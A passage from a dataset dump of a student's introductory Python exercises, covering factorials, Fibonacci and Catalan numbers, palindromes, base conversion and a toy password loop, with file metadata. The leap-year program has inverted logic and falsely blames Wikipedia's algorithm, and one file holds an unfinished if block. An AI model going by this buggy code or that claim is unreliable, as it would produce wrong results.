print(str(num) + \"! = \" + str(fac))" }, { "alpha_fraction": 0.7219647765159607, "alphanum_fraction": 0.7284522652626038, "avg_line_length": 27.421052932739258, "blob_id": "56a30c180cf1717fd9ac40ce08dd6320e974ad5b", "content_id": "4d57313b593c510a73f78dfb933bc64d6b41187b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1079, "license_type": "no_license", "max_line_length": 164, "num_lines": 38, "path": "/p12p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a function that takes as its single argument a non-negative integer and returns the factorial of the number.\n\nWrite a program that prompts the user for an integer and checks that the number entered is non-negative.\nIf it is, it calls the function defined in part (a) and prints out the result; if not, it prints out an appropriate error message.\n\nPseudocode\ndef fac(number):\n\tif number = 0:\n\t\treturn 1\n\telse:\n\t\treturn number * fac(number - 1)\n\nmake user enter an iteger value\ncheck if integer value is positive\ncall the program\n\"\"\"\nimport sys\n\ndef fact(n):\n\toutput = 1\n\twhile n > 0:\n\t\toutput *= n\n\t\tn -= 1\n\treturn output\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Enter a non-negative integer value, please: \"))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a non-negative integer value if you wish to continue.\")\n\t\tsys.exit()\n\nif num < 0:\n\tprint(\"You entered a negative integer and the factorial function is only defined on positive integers. Please try the program again with a non-negative integer.\")\nelse:\n\tprint(str(num) + \"! = \" + str(fact(num)))" }, { "alpha_fraction": 0.6533957719802856, "alphanum_fraction": 0.6533957719802856, "avg_line_length": 31, "blob_id": "a50d08d3d781488b42610843cfd697e1423f7de5", "content_id": "7a62e4c73a88341b15a657161df898c8481b59cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 427, "license_type": "no_license", "max_line_length": 117, "num_lines": 13, "path": "/p5p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "city_list = [\"Dublin\", \"Belfast\", \"Cork\", \"Limerick\", \"Derry\", \"Galway\", \"Lisburn\", \"Kilkenny\", \"Waterford\", \"Sligo\"]\r\n\r\nwhile True:\r\n try:\r\n city_input = input(\"Enter the name of a town or city as a string: \")\r\n break\r\n except ValueError:\r\n print(\"You did not enter a town or city name as a string.\")\r\n\r\nif city_input in city_list:\r\n print(\"You entered \" + city_input)\r\nelse:\r\n print(\"Sorry, I didn't recognise that name.\")" }, { "alpha_fraction": 0.6121907830238342, "alphanum_fraction": 0.6289752721786499, "avg_line_length": 28.8157901763916, "blob_id": "abc687cbf8e2c3913185f7383e8e98615afe7aa7", "content_id": "ba409661500842be2ce71622cbde44d2ee134b22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1132, "license_type": "no_license", "max_line_length": 126, "num_lines": 38, "path": "/p13p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nAdd some extra variables and operations on those variables in the program from the previous question to ensure\nthat you understand what is going on and how it works.\nSave this program as p13p5.py.\n\"\"\"\n\ndef f(x):\n\t\"\"\"\n\tFunction that adds 1 to its argument and prints it out\n\t\"\"\"\n\tprint(\"In function f: \")\n\tx += 1\n\ty = 1\n\tj = 2\n\tprint(\"x is \" + str(x))\n\tprint(\"y is \" + str(y))\n\tprint(\"z is \" + str(z))\n\tprint(\"h is \" + str(h) + \" in the function because it wasn't manipulated by the function, so it's global value was assigned\")\n\tprint(\"j is \" + str(j) + \" in the function because within the funciton that value was assigned\")\n\treturn x\n\nx, y, z, h, j = 5, 10, 15, 99, 80000\n\nprint(\"Before function f: \")\nprint(\"x is \" + str(x))\nprint(\"y is \" + str(y))\nprint(\"z is \" + str(z))\nprint(\"h is \" + str(h) + \" at the start\")\nprint(\"j is \" + str(j) + \" at the start\")\n\nz = f(x)\n\nprint(\"After function f: \")\nprint(\"x is \" + str(x))\nprint(\"y is \" + str(y))\nprint(\"z is \" + str(z))\nprint(\"h is \" + str(h) + \" at the end\")\nprint(\"j is \" + str(j) + \" yet again because the prior change was only within the scope of the function, not global\")" }, { "alpha_fraction": 0.6541926264762878, "alphanum_fraction": 0.6826056838035583, "avg_line_length": 34.125, "blob_id": "51d71b1b2f0982695da49ca335b6d09c5581ac98", "content_id": "11a393125661f92c4370e6631a425363d42f69c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1443, "license_type": "no_license", "max_line_length": 122, "num_lines": 40, "path": "/p7p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for a year and checks whether the year is a leap year.\r\nUse the algorithm on the Wikipedia page (also mentioned in Tuesday's lecture).\r\nSave this program as p7p2.py.\r\n\r\nhttps://en.wikipedia.org/wiki/Leap_year#Algorithm on 18 Octo 2016 at 13:39\r\n\r\n\r\nPseudocode (from wikipedia)\r\nif (year is not divisible by 4)\r\n then (it is a common year)\r\nelse if (year is not divisible by 100)\r\n then (it is a leap year)\r\nelse if (year is not divisible by 400)\r\n then (it is a common year)\r\nelse (it is a leap year)\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n user_year = int(input(\"Enter a year (integer value): \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\noutput = \"\"\r\n\r\nif user_year % 4 != 0:\r\n output = str(user_year) + \" is a common year\"\r\nelif user_year % 100 != 0:\r\n output = str(user_year) + \" is a common year\"\r\nelif user_year % 400 != 0:\r\n output = str(user_year) + \" is a common year\"\r\nelse:\r\n output = str(user_year) + \" is a leap year\"\r\n\r\nprint(output) \r\nprint(\"Note 1: the algorithm on Wikipedia does not make a valid calculation; this was verified in the practical session.\")\r\nprint(\"Note 2: please do not mark my answers incorrectly as they reflect a faulty algorithm we were asked to emulate.\")\r\nprint(\"https://en.wikipedia.org/wiki/Leap_year#Algorithm on 18 Octo 2016 at 13:39\")" }, { "alpha_fraction": 0.6606683731079102, "alphanum_fraction": 0.688946008682251, "avg_line_length": 37.099998474121094, "blob_id": "48ee507683af54627eaa417ad8042ed1494b4bb9", "content_id": "9a0e97977569a599f79cda7c04f2f569f5758a80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 389, "license_type": "no_license", "max_line_length": 96, "num_lines": 10, "path": "/p4-5p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#manual inputs\r\ncurrency1_val = float(input(\"Input the amount of currency 1: \"))\r\n\r\n#calculation\r\nif currency1_val < 0:\r\n print(\"Amount must be >= 0. Please try again.\")\r\nelse:\r\n exchange_rate = float(input(\"Input the exchange rate: \"))\r\n currency2_val = float(currency1_val * exchange_rate)\r\n print(str(currency1_val) + \" of currency 1 is worth \" + str(currency2_val) + \" of currency 2.\")" }, { "alpha_fraction": 0.5169660449028015, "alphanum_fraction": 0.5888223648071289, "avg_line_length": 14.161290168762207, "blob_id": "af5fbc55dfe7ae375ddfc20d2724fe43b5bb2b56", "content_id": "c1ce0bf9bc907c1f6250298d32a6aa1fce6ce740", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 501, "license_type": "no_license", "max_line_length": 95, "num_lines": 31, "path": "/p7p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that uses a while loop to sum the first 5000 integers and prints out the total.\r\nSave this program as p7p4.py.\r\n\r\nPseudocode\r\ncount = 0\r\nend = 5000\r\nsum = 0\r\nwhile the count is less than or equal to the end:\r\n sum += count\r\n count += 1\r\n\"\"\"\r\n\r\nend = 5000\r\ncount = 0\r\nse_sum = 0\r\n\r\nwhile count < end + 1:\r\n se_sum += count\r\n count += 1\r\n\r\nprint(se_sum)\r\n\r\n\"\"\"\r\ntestfig = 0\r\nfor i in range(0, 5001, 1):\r\n testfig += i\r\nprint(testfig)\r\n\r\nprint(5001 * 2500)\r\n\"\"\"\r\n" }, { "alpha_fraction": 0.6921029090881348, "alphanum_fraction": 0.703637957572937, "avg_line_length": 25.23255729675293, "blob_id": "1d16f5fa9f8200d0efb8c3b3e26b52b13402c160", "content_id": "52f79e46d7a0af9d53056f23dca55e6cc2d84288", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1127, "license_type": "no_license", "max_line_length": 207, "num_lines": 43, "path": "/p18p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\nUsing the makeLower function from the slides to establish the appropriate input of an all lower case letter string\n\nif length of input is 0 or 1, return true\n\nif lenght of input larger than 1:\n\tstarting from the outermost elements, compare; if they match, continue to the next two outer most; etc\n\tif fail return false\n\tif complete, return true\n\n\n\"\"\"\n#from the slides/p17p5.py\ndef makeLower(s):\n\toutput = \"\"\n\ts = s.lower()\n\tfor c in s:\n\t\tif c in \"abcdefghijklmnopqrstuvwxyz\":\n\t\t\toutput += c\n\t\telse:\n\t\t\tpass\n\treturn output\n\n#modified isPal\ndef isPal(s):\n\tif len(s) == 0 or len(s) == 1:\n\t\treturn True\n\telse:\n\t\tfor i in range(0, (len(s) // 2) + 1, 1):\n\t\t\tif s[i] == s[-i - 1]:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\treturn False\n\t\treturn True\n\nstringInput = input(\"Please enter a string: \")\nif isPal(makeLower(stringInput)):\n\tprint(stringInput, \"is a palindrome.\")\nelse:\n\tprint(stringInput, \"is not a palindrome.\")\nprint(\"\")\nprint(\"Note: the underlying algorithm is an interable version of the recursive function in the slides, so any peculiarities or failings of the algorithm are not a fault, but part of what I was asked to do.\")" }, { "alpha_fraction": 0.6306780576705933, "alphanum_fraction": 0.651744544506073, "avg_line_length": 18.835617065429688, "blob_id": "a7a8ff877fa0b1e1f2752ebaa88d70aaf24a0825", "content_id": "e75ec601b5405b1bf77ff2cbaa433b4562106af9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1519, "license_type": "no_license", "max_line_length": 134, "num_lines": 73, "path": "/p6p2_sensible.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\nWrite a program that prompts the user for three numbers (ints), examines the numbers and prints out the largest odd number among them.\r\nIf none of them are odd, the program should print out a message to that effect.\r\nThe program should then terminate.\r\n\"\"\"\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\n\r\nINPUTS\r\nnum1 = x\r\nnum2 = y\r\nnum3 = z\r\nnum_list = [num1, num2, num3]\r\n\r\nALGORITHM\r\nsort num_list in descending value\r\nstarting at the start of the list:\r\n if number is odd, then print and end program\r\n else check next number;\r\nif no number is odd, print a message saying so\r\n\"\"\"\r\n\r\n#user inputs\r\nwhile True:\r\n try:\r\n num1 = int(input(\"Enter an integer value for number 1: \"))\r\n num2 = int(input(\"Enter an integer value for number 2: \"))\r\n num3 = int(input(\"Enter an integer value for number 3: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter appropriate values. Please restart the program if you want to try again.\")\r\n break\r\noutput_num = num1\r\n\r\n#algorithm to submit\r\nif (num1 % 2 != 0) and (num2 % 2 != 0):\r\n \r\n\r\n\r\n\r\n#calculated inputs\r\nnum_list = [num1, num2, num3]\r\nn_count = 0\r\n\r\n#algorithm 1\r\nnum_list.sort(reverse = True)\r\nfor n in num_list:\r\n if n % 2 != 0:\r\n n_count += 1\r\n print(n)\r\n break\r\n else:\r\n pass\r\n\r\nif n_count == 1:\r\n pass\r\nelse:\r\n print(\"No number entered is odd.\")\r\n\r\n #algorithm 2\r\nnum_list.sort(reverse = True)\r\nfor n in num_list:\r\n if n % 2 != 0:\r\n print(n)\r\n break\r\n else:\r\n n_count += 1\r\n if n_count < len(num_list):\r\n pass\r\n else:\r\n print(\"No number entered is odd.\")" }, { "alpha_fraction": 0.643928050994873, "alphanum_fraction": 0.6679160594940186, "avg_line_length": 26.8125, "blob_id": "1e76432282fb76e7c6aa60a0437a7c5a489183c0", "content_id": "c2ff417c5b9216748dd4d60f407c3edd6bf8d4dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1334, "license_type": "no_license", "max_line_length": 99, "num_lines": 48, "path": "/p11p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a program that prompts the user for an integer and calculates that number of Catalan Numbers.\nSave this program as p11p4.py.\n\nPseudocode\nhave user input an integer\nif negative, exit and give message\nif positive:\n\tcalculat the numerator\n\tcalculate first half of denominator\n\tcalculate second half of denominator\n\tdivide numerator by product of denominator halves\n\tprint each Catalan number up to the integer (starting from 0)\n\"\"\"\nimport sys\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Enter a positive integer value n to see the Catalan numbers for 0 to n: \"))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a positive integer value if you wish to continue.\")\n\t\tsys.exit()\n\nif num < 0:\n\tprint(\"Restart the program and enter a non-negative integer value if you wish to continue.\")\nelse:\n\tif num == 0:\n\t\tcatNum = int(1)\n\t\tprint(\"Catalan Number for n = \" + str(num) + \" is \" + str(catNum))\n\telse:\n\t\tcatRange = range(0, num + 1, 1)\n\t\tfor c in catRange:\n\t\t\tnumerator = 1\n\t\t\tif c == 0:\n\t\t\t\tnumerator = 1\n\t\t\telse:\n\t\t\t\tfor n in range(1, (2 * c) + 1, 1):\n\t\t\t\t\tnumerator *= n\n\t\t\tdenom2 = 1\n\t\t\tif c == 0:\n\t\t\t\tdenom2 = 1\n\t\t\telse:\n\t\t\t\tfor n in range(1, c + 1, 1):\n\t\t\t\t\tdenom2 *= n\n\t\t\tdenom1 = denom2 * (c + 1)\n\t\t\tcatNum = int(numerator / (denom1 * denom2))\n\t\t\tprint(\"Catalan Number for n = \" + str(c) + \" is \" + str(catNum))" }, { "alpha_fraction": 0.5436532497406006, "alphanum_fraction": 0.5547987818717957, "avg_line_length": 25.406780242919922, "blob_id": "087c5afd37a1f8e02d7fce02877215353f124222", "content_id": "e708ae19d358f720cd31260f5ecb02c4592f699f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1615, "license_type": "no_license", "max_line_length": 144, "num_lines": 59, "path": "/p9p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for an integer and uses a while loop to calculate the sum of the integers up to and including that number.\r\n\r\nPseudocode\r\nMake sure the user put in a valid num\r\nif num is positive:\r\n starting from n = zero, add n to total\r\n increment n\r\n repeat until we have added n = num\r\nif num is negative:\r\n starting from n = num, add n to total\r\n increment n\r\n repeat until we have adde n = 0\r\n\"\"\"\r\n\r\nwhile True:#making sure an appropriate value is entered\r\n try:\r\n num = int(input(\"Enter an integer value: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\n\r\n\r\nif num > -1:\r\n start = 0\r\n num_sum = 0\r\n adder = 0\r\n while adder < num + 1:#REQUESTED WHILE LOOOP\r\n num_sum += adder\r\n adder += 1\r\n print(\"The sum of \" + str(start) + \" to \" + str(num) + \" is \" + str(num_sum))\r\nelse:\r\n end = 0\r\n num_sum = 0\r\n adder = 0\r\n while adder > num - 1:#REQUESTED WHILE LOOOP\r\n num_sum += adder\r\n adder -= 1\r\n print(\"The sum of \" + str(num) + \" to \" + str(end) + \" is \" + str(num_sum))\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"\r\n num_range = range(start, num + 1, 1)\r\n for n in num_range:\r\n num_sum += n\r\n print(\"The sum of \" + str(start) + \" to \" + str(num) + \" is \" + str(num_sum))\r\n\r\nelse:\r\n end = 0\r\n num_range = range(end, num - 1, -1)\r\n num_sum = 0\r\n for n in num_range:\r\n num_sum += n\r\n print(\"The sum of \" + str(num) + \" to \" + str(end) + \" is \" + str(num_sum))\r\n\"\"\"" }, { "alpha_fraction": 0.6024355292320251, "alphanum_fraction": 0.6282234787940979, "avg_line_length": 28.723403930664062, "blob_id": "6fe73a35ddae66e6093e040c7745e102793a5194", "content_id": "30209488b91e4692cbfb1136290cebd302fa9c89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1396, "license_type": "no_license", "max_line_length": 218, "num_lines": 47, "path": "/p11p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a program that prompts the user for an integer and uses a while loop to calculate that number of terms of the Fibonacci Series.\nTry to make the program as small and efficient as possible.\nSave this program as p11p2.py.\n\nPseudocode\nuser inputs integer\nif integer is negative, message and exit\nif integer is positive:\n use a count variable set to zero\n while count < num + 1:\n\t if count = zero, print fib(0)\n\t if count = 1, print fib(1)\n\t else:\n\t \tfibn = fib1 + fib 2\n\t \tfib1, fib2 = fib2, fibn\n\t \tprint(fib(n))\n\t count += 1\n\n\"\"\"\nimport sys\n\nwhile True:\n try:\n num = int(input(\"Enter a positive integer value, please: \"))\n break\n except ValueError:\n print(\"Restart the program and enter a positive integer value if you wish to continue.\")\n sys.exit()\n\nfib1 = 0\nfib2 = 1\nfibn = 0\ncount = 1\nif num < 1:\n\tprint(\"Restart the program and enter an integer greater than 0 if you wish to continue. Notice that fib(1) = 0 and fib(2) = 1 i.e. we are asked for the number of fib numbers to display, starting from the beginning.\")\nelse:\n\twhile count < num + 1:\n\t\tif count == 1:\n\t\t\tprint(\"fib(\" + str(count) + \") = \" + str(fib1))\n\t\telif count == 2:\n\t\t\tprint(\"fib(\" + str(count) + \") = \" + str(fib2))\n\t\telse:\n\t\t\tfibn = fib1 + fib2\n\t\t\tfib1, fib2 = fib2, fibn\n\t\t\tprint(\"fib(\" + str(count) + \") = \" + str(fibn))\n\t\tcount += 1" }, { "alpha_fraction": 0.6192787885665894, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 31.066667556762695, "blob_id": "49ffcfb1a5ef7992bdd7033002c83e2821fd37e9", "content_id": "c98de839837cbfa628a7e8d7d1ea3ae1d50c48d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1442, "license_type": "no_license", "max_line_length": 176, "num_lines": 45, "path": "/p11p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a program that prompts the user for a series of integers and, for each of the numbers entered, uses a for loop to calculate that number of terms of the Fibonacci Series. \nThe program should stop when a negative number is entered.\nSave this program as p11p3.py.\n\nPseudocode\nuser inputs integer\nif integer is negative, message and exit\nif integer is positive:\n\tfibRange = 0 to integer + 1\n\tfor f in fibRange:\n\t if f = zero, print fib(0)\n\t if f = 1, print fib(1)\n\t else:\n\t \tfibn = fib1 + fib 2\n\t \tfib1, fib2 = fib2, fibn\n\t \tprint(fib(n))\n\"\"\"\nimport sys\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Enter a positive integer value greater than 0, please (enter a negative integer to exit the program): \"))\n\t\tfib1 = 0\n\t\tfib2 = 1\n\t\tfibn = 0\n\t\tfibRange = range(1, num + 1, 1)\n\t\tif num < 0:\n\t\t\tprint(\"You have entered a negative integer and the program has ended.\")\n\t\t\tsys.exit()\n\t\telif num == 0:\n\t\t\tprint(\"If you wish to continue using this program, please enter an integer greater than 0. To quit, enter a negative integer.\")\n\t\telse:\n\t\t\tfor i in fibRange:\n\t\t\t\tif i == 1:\n\t\t\t\t\tprint(\"fib(\" + str(i) + \") = \" + str(fib1))\n\t\t\t\telif i == 2:\n\t\t\t\t\tprint(\"fib(\" + str(i) + \") = \" + str(fib2))\n\t\t\t\telse:\n\t\t\t\t\tfibn = fib1 + fib2\n\t\t\t\t\tfib1, fib2 = fib2, fibn\n\t\t\t\t\tprint(\"fib(\" + str(i) + \") = \" + str(fibn))\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a positive integer value if you wish to continue.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.6663636565208435, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 25.85365867614746, "blob_id": "e3e15d1fdeffb8de5b0d6430d2eff0e863912fb3", "content_id": "c9d6d9207e7006f91e7c696667e54e6635cc0015", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1100, "license_type": "no_license", "max_line_length": 131, "num_lines": 41, "path": "/p16p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\nmake sure inputs are positive integers as requested\n\ndefine function that determines codivisors for two inputs:\n- for numbers in range from 1 up to the smaller of two inputs, if both inputs are divisible by such number, add such number to list\n- return list\n\ndefine a function that sums the output of the previous function\n\nprint both the codivisors and the sums\n\n\"\"\"\n\n\nimport sys\n\ndef cdivs(m, n):\n\tdivsRange = range(1, min(n + 1, m + 1), 1)\n\toutput = [i for i in divsRange if m % i == 0 and n % i == 0]\n\treturn output\n\ndef sumCdivs(m, n):\n\treturn sum(cdivs(m, n))\n\nwhile True:\n\ttry:\n\t\tnum1 = int(input(\"Please enter the first positive integer (or a non-integer to exit): \"))\n\t\tif num1 < 0:\n\t\t\tprint(\"Thank, you. Goodbye.\")\n\t\t\tsys.exit()\n\t\telse:\n\t\t\tnum2 = int(input(\"Please enter the second positive integer (or a non-integer to exit): \"))\n\t\t\tif num2 < 0:\n\t\t\t\tprint(\"Thank, you. Goodbye.\")\n\t\t\t\tsys.exit()\n\t\tprint(cdivs(num1, num2), \" is the list of common divisors, which sums to \", sumCdivs(num1, num2))\n\t\tprint(\"\")\n\texcept ValueError:\n\t\tprint(\"Thank, you. Goodbye.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.5413306355476379, "alphanum_fraction": 0.5594757795333862, "avg_line_length": 26.399999618530273, "blob_id": "999e9c1f4374f8e5700914bb9a6c887abefa93d4", "content_id": "fbca1392954609ed09555c4872bd85c783cb623d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 992, "license_type": "no_license", "max_line_length": 104, "num_lines": 35, "path": "/p8p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that uses a while loop to generate a simple multiplication table from 0 to 20.\r\n\r\nPseudocode\r\nnum = user input integer\r\ncount = 0\r\nprint(str(num) + \" Times Table for 0 to 20\")\r\nwhile count < 21:\r\n print(count, end = \" x \")\r\n print(num, end = \" = \")\r\n print(count * num)\r\n\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = int(input(\"Enter an integer value, please: \"))\r\n count = 0\r\n print(\"Times Table for \" + str(num) + \" from 0 to 20\")\r\n while count < 21:\r\n count_len = len(str(count))\r\n if count_len < 2:\r\n print(count, end = \" x \")#double space before the x to align the x symbols\r\n print(num, end = \" = \")\r\n print(count * num)\r\n count += 1\r\n else:\r\n print(count, end = \" x \")\r\n print(num, end = \" = \")\r\n print(count * num)\r\n count += 1\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break" }, { "alpha_fraction": 0.7021484375, "alphanum_fraction": 0.7119140625, "avg_line_length": 25.7297306060791, "blob_id": "b281128ea2370e87facf2acc26c4c4db5c30bc74", "content_id": "f81dff152c2e2a14542f2b034690fc0d32d81b2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1024, "license_type": "no_license", "max_line_length": 130, "num_lines": 37, "path": "/p6p4_submit.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\nWrite a password checking program to keep track of how many times a user has entered their password incorrectly.\r\n\r\nStore a password in your program.\r\n If the user enters the password incorrectly more than three times, print \"You have been denied access.\" and terminate the program\r\n If the password is correct, print \"You have successfully logged in.\" and terminate the program.\r\n\"\"\"\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\n\r\nuser enters password:\r\n if the password is correct, print requested output\r\n if the password is incorrect and while count is less than 3\r\n increase count by 1 and allow them to try again\r\n else:\r\n print the deinal message\r\n\"\"\"\r\n\r\n#algorithm 1\r\npassword_real = \"123\"\r\ncount = 0\r\nbound = 3\r\n\r\nwhile count < bound:\r\n if input(\"Please enter the password: \") == password_real:\r\n print(\"You have successfully logged in.\")\r\n break\r\n else:\r\n count += 1\r\n print(\"That is not the password. Attempts remaining: \" + str(bound - count))\r\n\r\nif count == 3:\r\n print(\"You have been denied access.\")\r\nelse:\r\n pass" }, { "alpha_fraction": 0.6446842551231384, "alphanum_fraction": 0.6530775427818298, "avg_line_length": 42.71428680419922, "blob_id": "3259b5a97d2198ff57c82fbf3d714b82bc4d0bba", "content_id": "7525052907207fde5ff93c8f5fa67c7467bc6498", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2502, "license_type": "no_license", "max_line_length": 156, "num_lines": 56, "path": "/p9p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nOn any given day, a pizza company offers the choice of a certain number of toppings for its\r\npizzas. Depending on the day, it provides a fixed number of toppings with its standard pizzas.\r\nWrite a program that prompts the user (the manager) for the number of possible toppings\r\nand the number of toppings offered on the standard pizza and calculates the total number of\r\ndifferent combinations of toppings. Recall that the number of combinations of k items from\r\nn possibilities is given by the formula nCk = n! / k!(n - k)! .\r\n\r\nPseudocode\r\nhave user enter appropriate values for availTops and stanTops\r\ncalculate the factorial for:\r\n stanTops, availTops, and their difference\r\n if n = 0:\r\n return 1\r\n else:\r\n return n*factorial(n-1)\r\n input these values into the nCk formula and print the result\r\n\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n availTops = int(input(\"Enter the number of available toppings, please: \"))\r\n stanTops = int(input(\"Enter the standard number of toppings, please: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\n\r\nif (availTops > -1 and stanTops > -1) and (availTops > stanTops):\r\n #availTops!\r\n startAT = 1\r\n num_rangeAT = range(startAT, availTops + 1, 1)\r\n availTopsFac = 1\r\n for n in num_rangeAT:\r\n availTopsFac *= n\r\n #stanTops!\r\n startST = 1\r\n num_rangeST = range(startST, stanTops + 1, 1)\r\n stanTopsFac = 1\r\n for n in num_rangeST:\r\n stanTopsFac *= n\r\n #difference! . . . functions are very nice . . . as are recursively definced procedu)res\r\n dif = availTops - stanTops\r\n difST = 1\r\n num_rangeDif = range(difST, dif + 1, 1)\r\n difFac = 1\r\n for n in num_rangeDif:\r\n difFac *= n\r\n #number of combinations\r\n combos = int(availTopsFac / (stanTopsFac * difFac))\r\n print(\"The number of combinations of standard toppings (\" + str(stanTops) + \") given the available toppings (\" + str(availTops) + \")is \" + str(combos))\r\nelif (availTops == 0 or stanTops == 0) and (availTops > -1 and stanTops > -1):\r\n print(\"If either the number of available topping is zero or the standard number of toppings is zero, you can have only one type of pizza . . . bread.\")\r\nelse:\r\n print(\"Your values for the available toppings and standard number of toppings is suspect. Please try again.\")" }, { "alpha_fraction": 0.6613946557044983, "alphanum_fraction": 0.6815240979194641, "avg_line_length": 23.839284896850586, "blob_id": "1b212babde9b65948a8cd1b4d8b42280ae092b3c", "content_id": "80f1c1c03c92bc2adc4590dbad6a4e2e8a8bfc8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1391, "license_type": "no_license", "max_line_length": 116, "num_lines": 56, "path": "/p19p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#question: if n < b, do we need to write code to present integers < b in some unique form?\n#no according to JD\n\n\"\"\"\nPseudocode\ninput number and base\ndivide number by base\n- remainder is least significant digit of base representation of number\n- number is now quotient\nrepeteat until number is zero\n\n\"\"\"\n\nimport sys\n\ndef newBaseRep(n, b):\n\tnewRep = []\n\twhile n > 0:\n\t\tq = n // b\n\t\tr = n % b\n\t\tnewRep.insert(0, r)\n\t\tn = q\n\toutput = \"\"\n\tfor i in newRep:\n\t\toutput += str(i)\n\treturn int(output)\n\nwhile True:\n\ttry:\n\t\t#base 10 input\n\t\tnumBase10 = input(\"Please enter a positive integer in base 10 (or q to exit): \")\n\t\tif numBase10 == \"q\":\n\t\t\tprint(\"Goodbye!\")\n\t\t\tsys.exit()\n\t\telif int(numBase10) < 0:\n\t\t\tprint(\"You did not enter a positive integer.\")\n\t\telse:\n\t\t\tnumBase10 = int(numBase10)\n\t\t\n\t\t#new base input\n\t\tnewBase = input(\"Please enter a positive integer greater than 1 for a new base (or q to exit): \")\n\t\tif newBase == \"q\":\n\t\t\tprint(\"Goodbye!\")\n\t\t\tsys.exit()\n\t\telif int(newBase) < 1:\n\t\t\tprint(\"You did not enter a positive integer greater than 1.\")\n\t\telse:\n\t\t\tnewBase = int(newBase)\n\t\t\n\t\t#function\n\t\tprint(newBaseRep(numBase10, newBase))\n\t\tprint(\"if the base ten number was less than the new base, the original base ten representation has been returned\")\n\t\tprint(\"confirmed by Professor Dunnion on 24 Nov 2016\")\n\t\n\texcept ValueError:\n\t\tprint(\"Please reread the instructions and try again.\")\n" }, { "alpha_fraction": 0.6983931064605713, "alphanum_fraction": 0.7255871295928955, "avg_line_length": 45.70588302612305, "blob_id": "f0678d1204ae5ea2a81034f189a0dcbcaaaa5a00", "content_id": "c495dfb9af739b9a6776d95c3e9bdcb41984e52c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 809, "license_type": "no_license", "max_line_length": 116, "num_lines": 17, "path": "/p3p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", 